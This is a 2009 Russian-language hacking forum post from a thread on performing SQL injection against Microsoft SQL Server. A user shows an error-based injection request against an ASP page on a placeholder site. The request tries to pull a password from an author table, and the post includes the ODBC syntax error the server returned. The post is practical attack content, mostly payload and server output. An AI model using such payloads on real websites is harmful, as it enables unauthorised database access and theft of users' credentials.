Тема: Провидение Иньекций в MSSQL сервер от Microsoft.
Показать сообщение отдельно

  #82  
Старый 16.05.2009, 13:00
hookman
Познающий
Регистрация: 16.02.2009
Сообщений: 45
С нами: 9069151

Репутация: 66
По умолчанию
Цитата:
Сообщение от mailbrush  
Кавычки.
запрос:
Код:
http://site.com/resguides/Resguide.asp?ID=1+or+1=(select+top+1+Password+from+'RGAuthor (child table)')
Ответ:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'RGAuthor (child table)'.

/resguides/Resguide.asp, line 13